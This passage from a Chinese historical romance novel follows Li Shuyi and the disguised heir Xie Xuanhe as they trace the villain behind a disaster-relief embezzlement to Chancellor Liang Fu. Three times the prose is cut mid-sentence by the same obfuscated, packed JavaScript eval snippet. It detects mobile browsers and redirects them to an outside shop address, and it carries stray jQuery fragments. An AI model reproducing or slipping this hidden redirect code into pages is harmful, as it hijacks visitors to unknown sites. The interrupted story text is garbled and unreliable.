他扬唇轻笑,黎书意可不止会穿好看的衣服,她还对衣料、花样和制式都很了解,常自己修改画图,所以每回参宴必定惊艳全场,甚至还能带起风潮。 “……可以加大裙摆幅度,这样走动起来,随着裙摆的摇曳,精美的刺绣会若隐若现,更加飘逸。” 黎书意和祖绣宣正聊着,一名伙计进来报道:“老板,唐大姑娘来了。” 话音刚落,唐婉娇已经逶迤而入,她脸上带着恰到好处的笑容说道:“祖老板,我来拿喜被的。” “已经做好了,我这便去替你拿来。”祖绣宣说着起身,走前朝黎书意看来,“你能等我一会吗?” “嗯。”黎书意点头。 祖绣萱说毕朝外走去,同时房间陷入安静。 黎书意与唐婉娇本就互看不顺眼,少了第三人的在场,气氛一下子就冷了。 “这是下月的新品?”少倾,唐婉娇打破沉默,她的目光从那些半成品的衣裳图纸上略过,接着挪到了黎书意身上,她是听见黎书意与祖绣宣在这里,所以才故意进来的。 眼前的少女穿着一件豆绿色袖襦,搭配米色下裙,头上只插一根珠花簪,简单质朴到极点。 从前,这人最爱在衣饰上钻研,在宴会上出尽了风头,近来却格外低调,不仅宴会出席得少了,连衣服也穿得也越发素净。 想到刚过去的赏菊宴,她心中便有不快,谢煜然可是太子,对她黎书意也算情深意重,如今人都被抢了,她居然一副坦然无事的模样,还有心情逛街。 到底忍不住,便故意说道:“我听说礼部已经在为太子殿下挑选吉日了,他恐怕还在我的前头成亲呢。” 又是说这个吗,板上钉钉的事,还不如上回宴会没丝毫准备就与庞悦瑛碰面有冲击力呢,黎书意淡淡回一句:“哦,是吗?” 哦?这反应令唐婉娇不满。算了,先不提这个,瞟一眼空空入也的门口,想起刚才进房前瞥见的那一幕,她觉得还是该提醒一下。 这奇怪的模样让黎书意蹙了眉,有些不明白她的目光是何意,便静静望着她。 “上回听你说,你的侍卫是从安士来的?” 嗯?好端端地提他做什么?黎书意面露不解。 “他与你年纪相仿,又是独身一人,整天面对你这样一个如花似玉的小娘子,难免会生出歪心思来。” 什么?黎书意愕然瞪大了眼睛,不可置信地看着唐婉娇,就算是想从她身上扳回一次,也犯不着与她开这样的玩笑吧。 “他身份卑微,又其貌不扬,留这样一个对你有龌龊心思的人在身边,你就不隔应吗?我劝你还是早些遣他离开。” 真是越说越离谱,黎书意不想再听,遂阻止道:“你在瞎说什么?” 初时的惊愕过去,一股怒气从心头升了上来。首先,就算她比多数闺阁女子不拘小节,但是与近身侍卫传出流言可不是什么好事。 其次,时野的真实身份是谢烜赫,堂堂昭王世子被用身份卑微、其貌不扬和心思龌龊这样的字眼形容,听来十分刺耳。 她盯着唐婉娇,警告道:“要是让长公主殿下知道她未过门的儿媳是个好搬弄是非的,你觉得她会怎么做?” 唐婉娇闻言果然住了口,似乎是气不过,怨愤地看了她一会,然后轻哼一声道:“好心当成驴肝肺,等你以后吃亏了,可别怪我没提醒你。” 看着袅娜离去的丽影,黎书意在心底暗叹,自己今天出门是不是没看黄历,竟然接连碰见两件糟心事。 在房间里候了片刻,祖绣宣回来了,道了一句抱歉,在对面坐下,与她继续探讨起来。 聊了一柱香,在祖绣萱得到足够多的建议后,黎书意得以从房间里解脱出来。 下至一楼,见兰亭已经逛完了,正小心指挥着伙计搬运打包好的衣裳,看见她便急忙走过来,后发现身边少了一人,奇怪道:“二姑娘,时侍卫去哪了?” 下楼前,祖绣萱和她说谢烜赫去后堂了,他该是和联络点的线人交流去了。 为应付兰亭,黎书意随意编个理由道:“哦,绣宣姐姐说送我一样东西,我让他去拿一下。” 说着,转身朝外走,“走吧,去隔壁看看舒凌寒。” 跨出西陵轩的店门,主仆二人转头进了旁边的清芙阁。 舒凌寒见到她们,含笑迎过来问:“二姑娘怎的突然来了?” “无事。”黎书意随口解释,“只是出来逛街,顺道过来看看,你继续忙你的吧。” 因为前不久舒凌寒才去府里送账册给她看过,所以眼下她并没有什么必要的事要做,只不过是为了等谢烜赫在这里消磨时间罢了。 如同一个寻常客人,她浏览着柜台上的各类胭脂水粉,转了大约一柱香的功夫,见谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545700|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烜赫进入店中。 此时,黎书意已经挑了几盒口脂、面脂和头膏,待兰亭付过账,他们离开了清芙阁,一行三人走向街角停靠的马车。 提着裙裾上马,黎书意进入车厢在软榻上坐下,马车摇晃了一下,接着慢悠悠行驶起来。 秋日金风吹来,将车帘掀开一角,谢烜赫的背影一下一下出现在她视野里。 “整天面对你这样一个如花似玉的小娘子,难免会生出歪心思来……”可能是因为车里太过静谧了,她的大脑毫无预兆地蹦出了方才唐婉娇的那段话。 盯着那宽肩窄腰的背影,黎书意的眉头慢慢攒起,为了膈应她,唐婉娇真是无所不用其极了。 都不知这人如何得出这结论来的,谢烜赫怎会对她有意思,他明明一直都看不惯她,也就近来才好了一些。 是他们的相处方式让唐婉娇产生了错觉?谢烜赫出身贵族,不可能真像侍卫一样做得面面俱到,她又知道他的身份,待他自然也与寻常侍卫不同。 思绪完全被这个问题困住,她想得格外入神。 “二姑娘,到了。” 直到兰亭出声唤她,她才从胡思乱想中挣脱,摇了摇头,她甩开杂思从软榻上起身。 到车厢外,见谢烜赫早站在马凳旁边,像每次上下马车一样,他已经抬起胳膊等待着搀扶她。 不知为何,明明已经习惯了的事,眼下她却有些骑虎难下了,不知到底该不该扶。 犹豫了一下,她最终还是搭了上去,表现得太过异常,会被谢烜赫发现的。 撑着那有力的臂膀踏上马凳的那一刻,她在心里责怪起唐婉娇来,她难得与谢烜赫相处融洽了,因为那莫名其妙的话,仿佛又回到了她刚得知时野就是谢烜赫的时候,有点不知该怎么应对了。 此时,日已近黄昏,西天霞光灿烂,到了院门口,黎书意停步转身,准备与身边的人告别。 “从刚刚开始,你看我的目光就很奇怪。”谢烜赫望着她,似要问个明白。 糟糕,竟然还是被本尊给察觉到了,她眼神躲闪,心想若是唐婉娇说的胡言被他知道了,后果简直不敢想象。 于是脑筋快速转动起来,转到之前与祖绣宣谈话上,她遂抬眸道:“没什么,我就是想知道可有得到什么新消息?” 果然是在牵挂这个。之前没能从杀手口中得到消息,她就很失落,此时应当是既好奇,又怕失望,所以想问而不敢问,便观察自己的神色。 默了片刻,谢烜赫还是坦诚相告:“天牢那边,近日无人探望李振益。” “这背后之人未免太过谨慎了。”少女闻言垂眸,眼里的光亮消失。 见她一脸沮丧,他宽慰道:“已经在重新清查他的关系网了,用不了多久会找到的。” 说完,瞥一眼天色,见西边云如火烧,便道:“时辰不早了,你先回去用膳吧。” 原本以为要不了多久背后之人就会露出马脚,结果等了这么些时日那边却毫无动静,黎书意报仇心切,不免失望郁闷。 清查关系是目前唯一能做的,心知这事急不来,眼下除了等待别无他法,便不在这上边纠结,今日意外被牵绊,耽搁了些时辰,现下她确实有些腹饿了。 临走前,她将手里的点心分出一袋往前一送,“拿着,我走了。” “去吧。”谢烜赫吱声,待少女消失在路的尽头,他方才转身,然后提着糕点回后院了。 42. 畏罪 是夜,更阑人静,万物沉睡。 “啾啾!啾啾!” 忽然窗外传来几声鸟鸣。 谢烜赫闻声睁开眼睛,他翻身下床,迅速披衣走至后窗,然后推窗闪身而出。 外头天色浓蓝,已经四更天了。 一道黑影从树上跃下,落地无声,行至谢烜赫跟前,他抱拳道:“纯钧拜见主子。” 纯钧,祈安阁北区据点堂主,负责管理孟章在内等北区郡县据点事务。 “何事?”谢烜赫言简意赅问道。 “李振益在天牢自杀了。” 谢烜赫皱眉,“何时?” “亥时左右。” “确定是自杀?” “确定。”纯钧答言,“据牢中线人所报,深夜值夜的狱卒忽然听见牢里传来动静,去看时发现他已经撞墙死了,身边留了一封用衣帛写的血书。” 谢烜赫眯了眯眼睛,轻哼一声:“看来是为了保护家人,所以牺牲了自己。” 为了利益杀了自己的兄嫂,对抚养的侄儿下手,害得多少百姓流离失所,这么死简直便宜他了,只可惜,本来期待着能从他身上得到线索的,奈何对方过于谨慎,竟是完全不露面。 “继续盯着。”沉吟片刻,他说道。死了也没关系,死了幕后之人才会放松警惕。 …… 大兴殿,景帝把奏折往殿下一丢,怒气冲冲道:“刚刚刑部来报,李振益在天牢撞墙自杀了,死前留了一封血书。” 他拿起誊抄的书信,一字一句念道:“忆往昔,洪灾肆虐,百姓流离,饿殍遍野,朝廷拨下赈灾银两,本为救民于水火,臣却心生贪念,私吞大半,见灾民无助,臣非但未生怜悯,反趁机侵占其田地,致百姓无家可归,哀鸿满地。” 读完这段,景帝停下来,眼睛快速向下扫,略过了那些不重要的忏悔之词,又张口往下道:“臣以所得之财,大肆购置宅邸,雕梁画栋,极尽奢华,又广搜古玩字画,以供臣赏玩,挥霍无度。” 挥霍无度四个字说完,他把纸张重重往御案上一拍,接着目光锐利地扫向殿下,“据刑部核查,账本上的账目与抄没的家资账目相左极大,几百万两银子全用来购置田宅和古玩字画,朕不信,众爱卿觉得那钱在哪?” 殿中众臣闻言身体一抖,个个默默将头压低了,他们不敢直视龙颜,因为明白这句话的分量。 …… 清晨,红日满窗,院子被晨曦映照得绚烂一片,晨鸟在枝头啾啾鸣叫。 黎书意正沐浴在晨光里用着早膳,院里丫鬟忽然来报,说是父亲有事找她。 这个时辰,父亲该是刚上朝回来,难不成是朝堂上出现了什么大事,想到这个可能,她将粥碗往食案上一搁,赶忙让兰亭端茶水漱口,漱过口,擦了擦嘴角,她独自一人去了尚姜院。 走进书房,发现父兄都在,两人一脸凝重,不多时谢烜赫也来了,他脸上也是一脸肃然。 待门合上,黎书意忙问:“出什么事了?” 父亲看着她道:“李振益死了。” 死了!黎书意心头猛地一颤,昨天她才和谢烜赫聊过两句,都还未能得到有用的线索,怎么就突然死了呢。 是被人所杀吗?那是不是意味着距离知道幕后凶手不远了,思及此,她忙追问道:“如何死的?” “昨夜亥时撞墙自杀的。”黎长策回道。 竟然不是他杀而是自杀,黎书意发愁道:“那岂不是线索断了。” 线索的事她无能为力,目前她所能做的只有继续写书。 次日,她开始为第一个小故事收尾。书接上文,接下来该写姚家父子回京之事了。 因为姚写意并非像现实里的她一样,一同去了洪灾发生的地点,所以子郡水患案她未参与其中,接下来的情节需要杜撰,不过这部分的内容她心里早就有了打算,所以落笔成书。 故事中,姚写意正和母亲、嫂子忙着经营酒楼,她们三人掏空心思,从菜肴、酒楼陈设和营业模式等方面吸引食客,效果颇佳。 姚荐辕和姚远卓父子押送张弘利等罪犯回京的那天,姚家家中女眷们一起去城门口迎接久不见面的亲人,一家人团聚的那一刻,大家执手相看泪眼,无语凝噎。 姚写意红着眼睛依次同父兄说话,接着,她问候了父亲手下的部将萧礼,也就是辛君赫。 由于父兄忙于军务,有几次寄回的家书是他代写的,且这半年他声名鹊起,晋升速度惊人,所以她早就知道他了,但这是他们首次面对面。 姚写意并不知道这具陌生的皮囊之下装着一个熟悉的灵魂,她世交家的独子,她从小就认识的异姓兄长。 简单打了个照面,押送队伍在百姓热烈的欢呼声和赞美声中往皇城而去,姚家女眷上马车回姚府了。 晚上,阔别半载,在姚家父子述职归家后,一家人齐聚一堂,席间其乐融融,你来我往诉说着分别后的生活。 剩下的情节,黎书意则基本照搬现实,写男主辛君赫归京后继续探查,并在暗处伺机等候着某个人与身处大牢的张弘利接触。 然而,他却迟迟未等到可疑人物,张弘利还畏罪自杀了,他渴望顺藤摸瓜找到幕后主使的想法遭遇阻碍。 花了三日,黎书意笔下的故事总算追赶上现实探查的进度。 将稿子交与兄长之后,她照例奖励了自己一番,第二日睡到巳正了才懒懒起身。 用过午饭,移步至房外凉亭,见院子里秋意深浓,让兰亭泡了一壶桂花茶,她一面品尝厨房新做的点心,一面吹着徐徐秋风,看梧桐叶落。 兄长如今还尚未入军营,人比她还闲,替她送书稿回来,他在她旁边坐下,“稿子已经替你交了,苏先生看过之后对故事的发展很满意。” 由于前几日才亲耳听过本人的评价,所以眼下她便没那么激动了,只浅浅一笑。 这时,又闻兄长道:“我还有个好消息告诉你。” “什么?”她好奇地抬眼望过去。 黎长策勾唇一笑,故意停顿了两息,方才说道:“这书被柳先生选中了。” “真的!”闻言,黎书意一改之前懒洋洋的状态,惊讶非常。 这柳先生指的是鹤阳阁的说书先生柳朔,一张嘴便能倾动市人,他用语通俗,刻画入微,擅造气氛,能将故事说得绘声绘色,无论是文人墨客,还是寻常百姓,人人听而忘倦。 然而,他挑选书目极其挑剔,因为选得不好那便是在砸自己的招牌,《学崖》都是快写完的时候才入了他的眼,如今《陈冤录》的故事才刚开了个头,他竟就瞧上了。 欣喜过后,她恢复冷静,明白这当中定然少不了苏先生的推荐,不管怎样,传扬度又广了。 “何时开始?”她忙追问。 黎长策笑答:“明日。” 竟然从明日就开始,黎书意想,那看来她又得出门了。 翌日,用过午膳,她便出门了。 看着车里的兄长,她微微一笑,他们可有些时候没有一起出去散心了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545701|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 路途在闲聊中悄然结束,兄妹俩下车后往角门而去。 虽说鹤阳阁随时都很热闹,但是傍晚到夜半才是客人最多的时候,一进入大厅,一股喧嚣便扑面而来。 “少将军,黎二姑娘!”看见他们,伙计殷勤地迎过来引路,“二楼还有雅间空着,您们请。” 在伙计的带领下,黎长策、黎书意、谢烜赫、兰亭和绿沉最终进了居中的一间雅间,这里位置很好,透过窗户,可以将一楼戏台和台下观者大半收入眼帘。 未正,戏台右侧的铜锣被伙计敲响,接着一个手持折扇的清瘦中年人步履从容地走到戏台中央,然后站在了桌案前。 嘈杂的人声渐渐变低,他们这里也陷入安静,黎书意侧头静观堂下。 “啪!”随着惊堂木一拍,柳先生开始了每次登场时的例循开场白:“道德三皇五帝,功名夏后商周。英雄五霸闹春秋,顷刻兴亡过手[1]……从今天起,由我给你说一段公案话本,《陈冤录》。” 堂中众人拍手,等待着他带来的新故事,而柳先生,在掌声消弭之后,他用他那抑扬顿挫的语调将故事娓娓道来。 “从哪说呢,就从一次朝议说起。大殿雕梁绣柱,金碧辉煌,戴十二冕旒穿龙袍的皇帝高坐御台,百官秩序井然地列于殿下,气氛庄严。此时礼已经行过,该议政事了,只见丞相严会之出列,他参奏镇国公姚荐辕与谋反被诛的明王有书信往来,御台之上,皇帝闻此事便询问镇国公,镇国公立刻跪地诉情,说只是拜托他为患病的妻子寻找一味药材,并无其他,见镇国公这是承认了,皇帝震怒不已,又想起两家本就交好,遂下旨抄府夺爵,贬官乌犍……” 雅间,黎书意抬起瓷杯轻呷一口茶,静静听着柳先生用另一种方式演绎她书写的故事。 由于故事源自于他们的真实经历,即便因为不得已的原因掺了四分假,但到底还有六分真,所以她很难不受触动,尤其柳先生讲得极富情感。 “那镇国公有一儿一女,大儿子名叫姚远卓,一个精通文武的鲜衣怒马少年郎,自小随父在军中历练,小女儿名叫姚写意,虽读过书,才思敏捷,但因为是女儿身,不得施展。事发这日,姚写意正坐在院中水榭百无聊赖地喂鱼,忽闻外面传来动静,她忙差婢子去看发生了何事,那婢子还未出院,见二门一小厮跑进来报说禁卫军上府,说是抄家!” 讲到抄家,别处不时感叹不时唏嘘,他们这里却是一片沉默,起先是为了仔细聆听,后来是联想到了自身。 直到一声凳子移动的“呲啦”声音突兀地响起,只见黎长策起身,他向房中的围棋桌走去,在棋盘一边坐下后,然后叫道:“时野,来陪我下一盘棋,如何?” “好。”谢烜赫应声,说着也移开凳子,走过去在棋盘另一边坐下来。 低沉的气氛就这么被打破了。 黎书意望着棋盘左右的两位少年,从前他们便时常对弈,自己也偶尔旁观,这半年多却是不曾有过,这画面真的久违了,要是谢烜赫能卸下面具,那便完美了。 她含笑起身,朝二人走去。下一刻,兰亭贴心地替她搬了个圆凳过来,最后她便坐在两人之间,像从前那样看他们对弈。 兄长执黑子先落盘,他棋风还和从前一样,以稳健为主,谢烜赫则不同,他从一开始就很凌厉,两人各有千秋,却也平分秋色,棋盘上角逐激烈。 “……欲知后事如何,且听下回分解。” 黑白棋子纵横交错间,第一回的故事也终了。 43. 曝光 醇厚的声音消失,柔美的乐声立即续上,黎书意离开棋盘来到窗边,虽然她没有下棋,但脑子始终跟着对弈的二人转动,此时便想看点不耗费心神的。 将视线投至戏台,只见台上数十名舞姬围成一圈,她们长袖开合,玉手挥舞。 台中央是赵清商和阮玎瑶,她们一个穿粉衣,一个穿紫衣,一个身姿轻盈灵动,一个矫若游龙,二女配合有度。 正看着,兄长和谢烜赫也走了过来,两人聚在她左右,黎书意忽然起了逗弄的心思,便抛出问题:“你觉得她们俩谁跳得好?” “都挺好的。”黎长策随口道。 说了跟没说一样,黎书意略感无趣,追问道:“那静仪呢?” 黎长策不答。 见他沉默不语,黎书意扭头问谢烜赫:“你呢?” 问完,发现谢烜赫只定定看着她,也不说话。 好吧,是她忘记了,旁边这人似乎对这个就不感兴趣,从前宴会上就没见他关注过。 于是,她自动略过了他的答案,将目光重新放到戏台之上。 “跳得可真好!”正看着,一道洪亮的声音不期然响起。 循着熟悉的嗓音,黎书意看到了出现在过道口的梁祖昂,她眉毛立时一跳,心想这厮该不会是要像先前警告阮玎瑶的那般,要将她的过往公之于众吧。 目光移到台上,见阮玎瑶早停下了动作,显然是已经注意到他了。 紧接着,旁边的赵清商也停了动作,最后台上所有的舞姬都停了动作,那丝竹突兀地多响了几声,最后也停下了。 而台下,大家因为好奇,此时都默默注视着场上动静。见此情形,黎书意急忙走出雅间,下楼去了。 在众人的注目下,梁祖昂迈步朝前走,他边走边道:“阮玎瑶,你可真够狠心的,有了新欢就忘记旧爱。” 此话一出,全场皆惊,突闻惊天秘闻,大家不约而同噤了声。 台下一片寂静,所有的人都在看自己,探究的目光像手一样,阮玎瑶感觉自己的衣服被扒了个干净,她忍不住想要退缩。 朝罪魁祸首看去,见梁祖昂正冲着她恶劣地一笑。 “没想到这阮姑娘竟然同梁小公子在一起过?” “看情况她似乎还欺骗了梁小公子的感情。” …… 周围开始窃窃私语,看她的目光也带着审视和轻蔑。 “是。”手足无措间,梁祖昂高声回应了议论,看着她一字一句道,“她曾是梁府的侍女,仗着有两分姿色来引诱我,想我纳她为妾。” 又是一阵哗然,议论声越来越大,几乎就要将她淹没,像是溺水的人,她感觉喘不过气来。 这时,一只手握住了她,赵姐姐手上温热的触感让她慢慢恢复了镇定。 看着指指点点的人群,看着梁祖昂那张丑恶的嘴脸,这一刻她忽然觉得解脱了,心想这样摊开来说也好,她早受够了被威胁的生活。 做了一个深呼吸,她出声反驳道:“不是这样的。” 梁祖昂素知这女人性格懦弱,没想到她居然敢反抗,不过他并没把这句辩驳当一回事,反问说:“难道你不是梁府的侍女,难道你曾经没有和我在一起过?” 许是因为已经放下了的缘故,再听这样的话,阮玎瑶竟觉得不似以前那样可怕刺耳,她鼓起勇气道:“我的确曾是梁府的侍女,也的确曾同你在一起过,但是我从未引诱过你,是你主动来骚扰我的。” “你一个侍女,我需要吗?”梁祖昂口气轻蔑,唇角勾起一丝嘲讽的微笑。 闻言,阮玎瑶面色瞬间转白,失了语言,是啊,身份摆在这里,别人会相信吗? 心灰意败之时,一道身影挡在她跟前。 赵清商走上前一步,她双目向下扫去,居高临下地看着梁祖昂,反问说:“哦,是这样的吗,那为何我时常撞见你纠缠于她,还问她要钱呢?” “我也看见了。”楼梯口处,黎书意大声说道。 紧接着,苏或雍从坐席里站起来,高声道:“梁小公子贵为丞相之子,勒索一个平民女子,还在这颠倒黑白,毁人清誉,是何道理?” “你,你们——”梁祖昂没想到阮玎瑶竟真的敢反抗,更没有想到会有人为她作证,一时无言辩驳,噎在那里。 “这梁小公子整日不务正业,只会吃喝玩乐,孟章城还有谁不知道。” “是啊,听说梁丞相早不管他了。” 议论从阮玎瑶转到了他身上,这些话似利箭一样射在他心口,他不由怒火中烧,待要怒骂,一股难耐的痒意从骨头传来,像是蚂蚁在体内啃噬一般。 那边,众人正交颈并头说着,忽见梁祖昂面色潮红,瞳孔大张,四肢抽动,粗看像是在忍怒,细看又不像,对此大家又惊又怪。 到底是梁丞相的儿子,即便不受宠了,也依旧不好招惹,于是他们纷纷住了口,只愣愣望着,没看几眼,见他便被随行侍从给搀走了。 捣乱的人已经离开,赵清商出来主持大局,她神色自如地笑了笑,向台下鞠了一躬道:“抱歉扰了各位的雅兴,我们这就继续。” 丝竹再响,长袖再舞,一切回归正常。 黎书意看着台上重又跳起舞来的柔媚女子,露出了欣慰的笑容,这下她应该是彻底摆脱了梁祖昂吧。 即便梁祖昂再来纠缠也没关系,因为面前的人已经顶住了外人的眼光,威胁不再起效了。 正笑着,身后传来兄长的声音:“你何时掺和进这事的?” “就意外撞见了两回,顺道帮个忙罢了。”她回身如实告知。 黎长策站在楼梯上,放眼横扫过去,见楼下笙歌鼎沸,楼上客人如云。 收回目光,他看了眼近旁的好友与小妹,想着机会难得,遂提议道:“要不今晚就在这用饭?” 好久没在外边吃了,黎书意欣然点头。 于是,一行人复往楼上去了,吩咐伙计快去准备好酒好菜,他们回到雅间。 到了雅间,黎书意懒散地坐下。 黎长策看了眼随侍的三人道:“你们也都一起入座吧。” 谢烜赫并未推脱,直接坐了下来。 绿沉和兰亭则略有踟躇,黎书意忙道:“这里又没外人,你们不必拘礼。” 于是两人便都坐下了。 候了一会,美酒佳肴送进屋子。 等菜摆好以后,绿沉抬起酒壶,为兄长和谢烜赫各斟了一杯酒,接着又给自己倒了一杯。 见状,黎书意忙道:“我也要一杯。” 《陈冤录》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545702|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反馈良好,又见到阮玎瑶摆脱麻烦,她今个高兴,便也想饮酒。 最后,包括兰亭在内,人人面前都摆了一杯酒,他们一面品味珍馐,一面开怀畅饮,好不热闹。 酒足饭饱,五人退出雅间,载兴下楼。 刚走没几步,碰见了阮玎瑶,两边皆是一愣,下一刻阮玎瑶主动上前,她先问候了黎长策,然后朝黎书意看来,对她道谢:“今日多谢黎二姑娘为我说话。” 黎书意笑回:“不过举手之劳罢了,你不用谢我。” 寒暄结束,一方回后堂,一方往外走。 夜幕降临,华灯初上,满街流光,踏上马车,他们启程归家。 到得府里,院中早已经掌灯,灯火隐隐绰绰。黎长策黎书意兄妹两个走在前面,谢烜赫、兰亭和绿沉跟在后面。 谢烜赫目光柔和地注视着前方,昏黄的灯火映照出一高一矮两道身影,黎家兄妹有说有笑,画面温馨和谐,这种与他们一道同游晚归的经历让他感觉回到了从前。 行至内院,兄妹俩互相道别。 谢烜赫看着黎书意,或许是喝酒的缘故,她行动上带了几分慵懒。 又走了一段路,该是他们分别的时候了。 谢烜赫侧身与少女面对面,柔声叮咛:“二姑娘睡前最好喝点醒酒茶,以防明早头痛。” “嗯,知道了。”少女轻哼着点头。 与黎书意分开,谢烜赫往后院里走。 夜幕才刚刚降临,两位小主人也方才回家,此时侍卫们都还在当值,因而后院只零星有两间屋子亮着灯,他缓步往自己房间走去。 正走着,院子里的大树突然无风而动,闻声,他立时改变了方向,朝角落而去,走入黑暗之中。 下一刻,一道纤长的影子闪至跟前,并躬身抱拳叫道:“主子。” “查到了?”谢烜赫瞥向纯钧。 纯钧点头,禀告道:“皇帝原打算等清算了李振益的罪行之后,再在午门将他与其妻女斩首示众的,因他如今畏罪自杀了,便提前了,改在明日行刑,几个时辰前线人从牢狱送来消息,说有人买通了狱卒,李振益的妻女被替换了出来。” “是谁?” “梁甫的第二十房小妾。” “梁甫……”谢烜赫咀嚼着这个名字,这半年来,无数位高权重的人都被他纳入嫌疑人名单内,梁甫贵为丞相,自然也在其中,并且还是嫌疑较大的那个,如今确定了仇人,他的心彻底落定,浓烈的恨意涌了上来。 父亲与梁甫确有隔阂,虽然父亲退居陵光后便甚少问朝堂的事,但到底是一藩诸侯,西景的事他也不是全然不理的。 三年前,谏议大夫上奏,说东宫空悬,应早日立储,谢煜然乃嫡出长子,又天资聪颖,是众望所归。 当然,这众望所归的人里并不包括梁甫,他与荣贵妃交情深厚,属意的是三皇子谢煜恭,即便后来谢煜然顺利册封太子了,也依旧不死心想改立,为此做了许多小动作。 谢煜然机敏好学,处事得体,又谨慎防他,见在他身上挑不出错来,梁甫便从他身边的人下手,过程中制造了一系列冤假错案,波及了不少官员。 父王实在看不过去,曾上书请求罢相,并严惩梁甫,大约这件事情触怒了他,所以才伺机报复。 44. 目标 清晨,柔和的阳光从小窗泼洒进书房,黎书意坐在案头一字一字写着,房间里静谧无声。 写至一半,她抬头往门口瞧了一眼,仍是不见半个影子,便不由皱起眉,往常这个时候谢烜赫早进载驰院了,怎的今天还未过来? 难不成是有事?若真有事,那定然是在忙于调查,思及此,她便不再多管,专心地往下写。 她当下所写情节与追凶无甚联系,算是一个过渡,主要交代一下姚家一家团聚的情况,也让两位新识的伙伴相互熟悉。 这是姚家父子归京的第二天,清晨,姚写意早早起了身,去父母院落向双亲请了安,然后往自己的院落折返。 路上,她碰见了辛君赫,于是便停下来问候,顺带向他了解更多父兄在乌犍的情况,两人站着说了一刻钟的话。 次日,姚家父子和辛君赫参观了家中女眷在城中合开的归平酒楼,三人在各处转悠,又吃了楼中招牌菜,最后交口称赞起来。 写了差不多小半个时辰,兰亭从外面走进来,告知说:“二姑娘,大将军找您。” 近来朝局动荡,父亲不得不隔三差五回来,不知这次要说何事,她搁下笔净了手,然后往尚姜院去了。 走进书房,见父亲、兄长,还有今早一直未曾露面的谢烜赫全在屋中,她预感有大事,于是立即合上了门。 房间里静悄悄的,沉默的空气中充满了严肃的味道,她的目光从三人身上依次划过,然后试探着开口问道:“是有新消息了?” 回答她的人是谢烜赫,只见他神色平静地说:“是梁甫。” 梁甫!听到这个名字,黎书意的瞳孔猛地一缩,惊讶得像是在头顶炸了一个响雷,他们的对手竟然是当朝宰相,也难怪三人的面色会如此凝重了。 在这一问一答的两句话之后,房间恢复了最初的安静。 良久,黎横天打破压抑的沉默说:“是时候了。” 黎书意明白,父亲这是已经做了决定,打算对付梁甫了。 梁甫是众所周知的奸臣,他欺压百姓、中饱私囊、妒贤害能……然而地位却十分稳固,依靠着谄媚奉承之能,他一直深受陛下的宠信。 这些年,上折子参过他的官员不知多少,结果不仅没能撼动他半分,反而自己受到了牵累,轻的被责罚贬谪,重的被谋害而死。 父亲与梁甫素来政见不合,尤其是在面对白榆的政策上,白榆屡犯边境,父亲主张抗敌,而梁甫却主张割城议和。 不仅如此,为巩固自己的权力,杜绝出将入相的可能,他还把算盘打到各大拥有兵权的将领身上,而父亲便是他最大的目标。 有多少次,父亲和黎家军在前线浴血奋战,他在陛下跟前进献谗言,不仅三言两语抹杀了将士的功劳,还险些让他们有去无归。 一想起那些旧事,黎书意便不由怒上心头,愤恨不平。 对待如此十恶不赦的奸贼,她巴不得能将他大卸八块、锉骨扬灰,因此对父亲的决定她是全力支持的,再说从很久以前他们就没有退路了。 只是梁甫权倾朝野,党羽无数,如何对付他是一个难题。 光是想一想,她便惶惶不安,忧心如煎,可抬眼望一望面前的父亲、兄长,还有谢烜赫,突然又有了信心,便郑重说道:“我支持父亲的决定。” 观女儿双眸闪亮,表情真挚,面对她的信任,黎横天问:“婠婠,你不怕吗?” “不怕。”女儿朝他摇头,“这颗毒瘤早该摘除了。” 黎横天笑了,自己这女儿虽然没什么功夫在身,可胆色却比许多男子都要大。 “只是他为官数十载,根基庞大,我们必须从长计议。”黎横天叹息道,梁党在朝堂里横行霸道,若想事成,他们得慎之又慎,瞥见谢烜赫,遂问说,“贤侄有何想法?” 谢烜赫凝思片刻,然后答言:“梁甫擅长揣摩上意,依靠巧言应变之能,最后总是逢凶化吉,我们必须得找到连陛下都无法忍受的错处,才可以将其彻底铲除。” 连陛下都无法忍受的错处,黎书意在心里咀嚼这句话,这些年梁甫结党营私、排除异己、屡兴大狱,全都被轻轻揭过,更大的罪行他身上定然是有的,可是他谨小慎微,实在难以打探。 看来会是一场硬战,不可能像对付李振益这般轻松就可扳倒。 尽管任务艰巨,但决计没有退缩的道理,想到这她道:“朝堂上的事交给父兄,其他的就交给我和他吧。” 说着,她偏头看着谢烜赫。 谢烜赫回视少女。 “好。”黎横天点头,脸上露出赞许的笑容。 正事议完,黎书意和谢烜赫从书房里出来。 站在廊下,黎书意扭头望着旁边的人问:“所以你是因为这个,今早才没去我院里?” 